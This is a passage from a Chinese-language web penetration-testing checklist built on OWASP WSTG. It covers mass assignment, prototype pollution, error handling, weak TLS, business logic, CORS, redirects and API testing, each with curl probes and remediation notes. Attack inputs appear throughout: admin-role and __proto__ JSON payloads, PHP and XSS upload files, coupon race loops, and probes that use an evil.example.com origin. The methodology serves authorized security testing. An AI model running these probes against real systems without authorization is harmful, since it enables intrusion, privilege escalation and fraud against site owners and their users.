  -d "{\"url\":\"http://${CALLBACK}\"}" \
  -o /dev/null -w '%{http_code}\n' 2>/dev/null

**注意事项:**来自 CDN 或 Webhook 验证服务的 DNS 回调不能证明目标发起了请求。请检查 User-Agent、源 IP 和时间。

**验证:**确认收到带有可识别信息的回调(源 IP、User-Agent 或目标特有的路径)。对于云元数据访问,需确认已获取凭证或实例数据。

7.20 Mass Assignment(WSTG-INPV-20)
# Try setting privileged fields
curl -sS --max-time 10 -X POST "https://${TARGET}/api/register" \
  -H 'Content-Type: application/json' \
  -d '{"username":"test","password":"test","role":"admin","isAdmin":true,"verified":true}' \
  2>/dev/null | python3 -m json.tool 2>/dev/null

**验证:**响应确认了权限提升后的角色,或者后续的已认证请求证明权限已提升。

7.22 原型污染(WSTG-INPV-22)
# Client-side (browser console)
Object.prototype.polluted = true
# Check if new objects have the property

# Server-side via JSON
curl -sS --max-time 10 -X POST "https://${TARGET}/api/update" \
  -H 'Content-Type: application/json' \
  -d '{"__proto__":{"isAdmin":true},"constructor":{"prototype":{"isAdmin":true}}}' \
  2>/dev/null

第 8 阶段:错误处理(WSTG-ERRH-01 至 ERRH-02)
8.1 错误处理不当(WSTG-ERRH-01)
# Trigger errors with malformed input
for trigger in \
  "/nonexistent" \
  "?id=abc" \
  "?id[]=1" \
  "?id=999999999999" \
  "?id=-1" \
  "?id=0" \
  "'" \
  "%00"; do
  code=$(curl -sS --max-time 10 \
    "https://${TARGET}${trigger}" \
    -o "$OUTPUT_DIR/evidence/error-$(echo $trigger | md5sum | cut -c1-8).html" \
    -w '%{http_code}' 2>/dev/null)
  echo "$trigger: $code"
  sleep 1
done

**检查每个响应正文中是否包含:**堆栈跟踪、框架名称和版本、SQL 查询、文件路径、数据库连接字符串、内部 IP、API 密钥。

8.2 堆栈跟踪(WSTG-ERRH-02)
# Common stack trace patterns
grep -rniE '^\s*at |stack trace|traceback|\.py", line |\.java:|\.php on line|\.rb:\d+:|\.go:\d+|in `|\.tsx:\d+:|\.js:\d+' \
  "$OUTPUT_DIR/evidence/" 2>/dev/null

**验证:**响应包含完整的堆栈跟踪,其中有框架内部路径和行号,而不只是通用错误消息。


第 9 阶段:弱加密(WSTG-CRYP-01 至 CRYP-04)
9.1 弱 TLS(WSTG-CRYP-01)
# Quick TLS version and cipher check
nmap -sV --script ssl-enum-ciphers -p 443 "$TARGET" 2>/dev/null

# Check certificate validity
openssl s_client -connect "${TARGET}:443" -servername "$TARGET" \
  </dev/null 2>/dev/null | openssl x509 -noout -text \
  | grep -E 'Not Before|Not After|Issuer:|Subject:'

# testssl.sh for comprehensive analysis
testssl --quiet --json "$TARGET" 2>/dev/null

**验证:**支持 TLS 1.0/1.1、使用弱密码套件(RC4、3DES、EXPORT)、缺少前向保密、证书无效或过期,或主机名不匹配。

9.2 填充预言(WSTG-CRYP-02)
# Test for padding oracle in encrypted cookies or tokens
# Requires specialized tools: padbuster, padding-oracle-attacker
# This is a detection probe, not a full exploit
code_ok=$(curl -sS --max-time 10 "https://${TARGET}/" \
  -H 'Cookie: session=VALID_ENCRYPTED_COOKIE' \
  -o /dev/null -w '%{http_code}' 2>/dev/null)

code_bad=$(curl -sS --max-time 10 "https://${TARGET}/" \
  -H 'Cookie: session=MODIFIED_LAST_BYTE' \
  -o /dev/null -w '%{http_code}' 2>/dev/null)

echo "Valid: $code_ok, Modified: $code_bad"

**注意事项:**不同的响应代码并不自动意味着存在填充预言。需要系统地翻转字节,并观察填充错误与数据错误行为是否一致。

9.3 未加密通道(WSTG-CRYP-03)
# Check if the site is available over HTTP
code=$(curl -sS --max-time 10 "http://${TARGET}/" -o /dev/null -w '%{http_code}' 2>/dev/null)
echo "HTTP: $code"

# Check for mixed content on the HTTPS version
curl -sS --max-time 10 "https://${TARGET}/" 2>/dev/null \
  | grep -oPi '(src|href)=["\x27]http://[^"\x27]*["\x27]'
9.4 弱加密原语(WSTG-CRYP-04)

检查所有已观察到的加密值:令牌、Cookie、API 密钥、密码哈希。检查是否存在:

  • 在安全场景中使用 MD5 或 SHA1
  • 加密令牌使用 ECB 模式
  • 硬编码的密钥或 IV
  • 可预测的随机值(时间戳、顺序计数器)

第 10 阶段:业务逻辑(WSTG-BUSL-01 至 BUSL-10)
10.1 数据验证(WSTG-BUSL-01)
# Negative quantity in cart
curl -sS --max-time 10 -X POST "https://${TARGET}/cart/add" \
  -H 'Content-Type: application/json' \
  -d '{"product_id":1,"quantity":-1}' 2>/dev/null

# Zero or negative price
curl -sS --max-time 10 -X POST "https://${TARGET}/checkout" \
  -H 'Content-Type: application/json' \
  -d '{"items":[{"product_id":1,"price":0.01,"quantity":1}]}' 2>/dev/null
10.2 伪造请求(WSTG-BUSL-02)
# Check if signed values (coupons, discounts) can be modified
# Try changing a coupon code parameter
curl -sS --max-time 10 -X POST "https://${TARGET}/checkout/apply-coupon" \
  -H 'Content-Type: application/json' \
  -d '{"coupon":"FREE100"}' 2>/dev/null
10.3 完整性检查(WSTG-BUSL-03)

检查请求中的价格、数量和折扣值是否根据服务端的值进行验证。在传输过程中修改这些值并观察结果。

10.4 流程时序(WSTG-BUSL-04)
# Race condition: apply coupon multiple times simultaneously
for i in $(seq 1 5); do
  curl -sS --max-time 10 -X POST "https://${TARGET}/cart/apply-coupon" \
    -H 'Content-Type: application/json' \
    -d '{"coupon":"LIMITED10"}' -o /dev/null -w '%{http_code} ' 2>/dev/null &
done; wait; echo
10.6 绕过工作流(WSTG-BUSL-06)
# Skip checkout steps by accessing later URLs directly
for step in /checkout/payment /checkout/confirm /checkout/complete /order/place; do
  code=$(curl -sS --max-time 10 "https://${TARGET}${step}" \
    -H 'Cookie: session=VALID_SESSION' \
    -o /dev/null -w '%{http_code}\n' 2>/dev/null)
  echo "$step: $code"
  sleep 1
done
10.8/10.9 文件上传(WSTG-BUSL-08/09)
# Test accepted file types
echo '<?php phpinfo(); ?>' > /tmp/test.php
echo '<script>alert(1)</script>' > /tmp/test.html
echo '<svg/onload=alert(1)>' > /tmp/test.svg

for file in /tmp/test.php /tmp/test.html /tmp/test.svg; do
  code=$(curl -sS --max-time 10 -X POST "https://${TARGET}/upload" \
    -F "file=@${file}" -o /dev/null -w '%{http_code}\n' 2>/dev/null)
  echo "$(basename $file): $code"
  sleep 1
done

**注意事项:**文件上传测试会改变状态。仅在范围获批的端点上使用无害内容进行测试。测试后尽可能删除上传的文件。

**验证:**上传的文件可访问,并且通过其 URL 请求时会执行(PHP、JSP)或渲染(HTML、SVG)。


第 11 阶段:客户端测试(WSTG-CLNT-01 至 CLNT-15)
11.1 DOM XSS(WSTG-CLNT-01)

使用浏览器 DevTools 追踪数据从来源(URL、postMessage、localStorage、document.cookie)到接收点(innerHTML、document.write、eval、location)的流向。检查每个接收点是否缺少净化处理。

11.4 客户端重定向(WSTG-CLNT-04)
# Test URL parameters that may trigger client-side redirect
for param in redirect url next return_to goto target callback; do
  curl -sS --max-time 10 \
    "https://${TARGET}/login?${param}=https://evil.example.com" \
    -o /dev/null -w '%{redirect_url}\n' 2>/dev/null
  sleep 1
done
11.5 CSS 注入(WSTG-CLNT-05)

注入的 CSS 可以通过属性选择器和 background-image URL 逐字符窃取数据。测试出现在 style 属性或 <style> 块中的输入。

11.7 CORS(WSTG-CLNT-07)
# Test origin reflection
curl -sS -D - --max-time 10 "https://${TARGET}/api/me" \
  -H 'Origin: https://evil.example.com' -o /dev/null 2>&1 \
  | grep -i 'access-control'

# Test null origin
curl -sS -D - --max-time 10 "https://${TARGET}/api/me" \
  -H 'Origin: null' -o /dev/null 2>&1 \
  | grep -i 'access-control'

# Test subdomain bypass
curl -sS -D - --max-time 10 "https://${TARGET}/api/me" \
  -H 'Origin: https://evil.${TARGET}' -o /dev/null 2>&1 \
  | grep -i 'access-control'

**验证:**ACAO 会反射攻击者的来源,且 ACAC 为 true,并且端点返回的是用户特定数据(而非公开信息)。

11.9 点击劫持(WSTG-CLNT-09)
curl -sS -D - --max-time 10 "https://${TARGET}/" -o /dev/null 2>&1 \
  | grep -iE 'x-frame-options|content-security-policy.*frame-ancestors'

**验证:**包含敏感操作(登录、设置、支付)的页面缺少 X-Frame-Options 或 CSP frame-ancestors。

11.10 WebSockets(WSTG-CLNT-10)
# Check Origin validation on WebSocket upgrade
curl -sS -D - --max-time 10 \
  -H 'Connection: Upgrade' -H 'Upgrade: websocket' \
  -H 'Origin: https://evil.example.com' \
  -H 'Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==' \
  -H 'Sec-WebSocket-Version: 13' \
  "https://${TARGET}/ws" -o /dev/null 2>&1
11.12 浏览器存储(WSTG-CLNT-12)

检查 localStorage、sessionStorage、IndexedDB 和 Cookie 中是否包含敏感数据:令牌、API 密钥、PII、内部主机名、会暴露尚未发布功能的功能标志。


第 12 阶段:API 测试(WSTG-APIT-01 至 APIT-99)
12.1 API 侦察(WSTG-APIT-01)
# Discover API documentation
for path in /openapi.json /swagger.json /swagger/v1/swagger.json \
  /api-docs /api/swagger /api/v1/openapi.json /graphql \
  /api/schema /redoc /docs /playground; do
  code=$(curl -sS --max-time 10 "https://${TARGET}${path}" \
    -o /dev/null -w '%{http_code}\n' 2>/dev/null)
  [ "$code" != "404" ] && echo "$path: $code"
  sleep 1
done

**验证:**OpenAPI/Swagger 文档返回有效 JSON,其中包含操作、参数和身份验证要求。

12.2 对象级授权失效(WSTG-APIT-02)

参见第 5.4 阶段(IDOR)。使用两个身份测试每个对象端点。

12.3 过度暴露数据(WSTG-APIT-03)

对于每个 API 端点,比较以下内容中的响应字段:

# Full response (as authenticated user)
curl -sS --max-time 10 "https://${TARGET}/api/users/me" \
  -H 'Authorization: Bearer USER_TOKEN' 2>/dev/null | python3 -m json.tool

# Does the response include password hashes, internal IDs, admin flags,
# role definitions, or other fields not needed by the client?
12.4 函数级授权失效(WSTG-APIT-04)
# Try administrative API endpoints as a regular user
for endpoint in /api/admin /api/users /api/config /api/logs /api/health \
  /api/metrics /api/system /api/internal; do
  code=$(curl -sS --max-time 10 "https://${TARGET}${endpoint}" \
    -H 'Authorization: Bearer REGULAR_USER_TOKEN' \
    -o /dev/null -w '%{http_code}\n' 2>/dev/null)
  echo "$endpoint: $code"
  sleep 1
done
12.99 GraphQL(WSTG-APIT-99)
# Introspection query
curl -sS --max-time 10 -X POST "https://${TARGET}/graphql" \
  -H 'Content-Type: application/json' \
  -d '{"query":"{__schema{types{name,fields{name}}}}"}' 2>/dev/null

# Check if GET is allowed (query batching / CSRF risk)
curl -sS --max-time 10 \
  "https://${TARGET}/graphql?query=%7B__typename%7D" \
  -o /dev/null -w '%{http_code}\n' 2>/dev/null

# Field suggestion (information leak)
curl -sS --max-time 10 -X POST "https://${TARGET}/graphql" \
  -H 'Content-Type: application/json' \
  -d '{"query":"{user(id:1){namee}}"}' 2>/dev/null

常见陷阱

  • 响应代码本身不能作为发现项。请验证响应正文内容。
  • 旧版本字符串不能证明存在可利用性。
  • 自动化扫描器提供的是线索,而非已验证的发现项。请手动复现。
  • 授权相关发现项至少需要两个已知归属的身份。
  • WAF 和速率限制可能会抑制探测。请调整时间和编码方式。
  • 测试第三方和共享提供商的主机前,需先审查所有权。
  • 不要根据单个响应推断发现项。请运行正向和负向对照测试。

验证

对于每个报告的发现项,请回答:

  1. 哪项安全属性失效了? 指明预期行为。
  2. 观察到了什么? 提供经过脱敏的请求和响应。
  3. 哪些对照测试可确认问题? 正向对照(预期情况)、负向对照(排除情况)和边界对照(相邻值)。
  4. 哪些内容未测试? 枚举、生产数据、写入、持久性。
  5. 能否复现? 记录精确步骤和时间。

运行最终质量检查:

[ ] reproduction and controls work as documented
[ ] impact matches evidence; untested steps labeled
[ ] credentials and PII removed
[ ] remediation addresses the failed security control

按 WSTG 类别进行修复

类别常见修复方法
INFO-*移除冗余响应头、限制元文件访问、审查页面内容
CONF-*禁用未使用的方法、强化响应头、限制管理面板访问、移除备份文件
IDNT-*统一错误消息、在注册时启用 CAPTCHA、实施强密码策略
ATHN-*启用 MFA、锁定账户、使用安全的密码重置令牌、加密凭据
ATHZ-*在服务器端检查所有权、默认拒绝、对每个请求验证角色
SESS-*使用 Secure/HttpOnly/SameSite Cookie、重新生成会话、在服务器端使会话失效
INPV-*使用参数化查询、验证输入、编码输出、设置 CSP、进行净化
ERRH-*使用自定义错误页面、生产环境中不显示堆栈跟踪、向用户显示通用消息
CRYP-*使用 TLS 1.2+、强加密套件、HSTS、前向保密、不使用硬编码密钥
BUSL-*在服务器端进行验证、强制执行工作流状态、使用幂等键
CLNT-*使用严格的 CSP、frame-ancestors、CORS 限制、DOM 净化
APIT-*实施逐对象授权和字段级访问控制、禁用内省

评论

支持 Markdown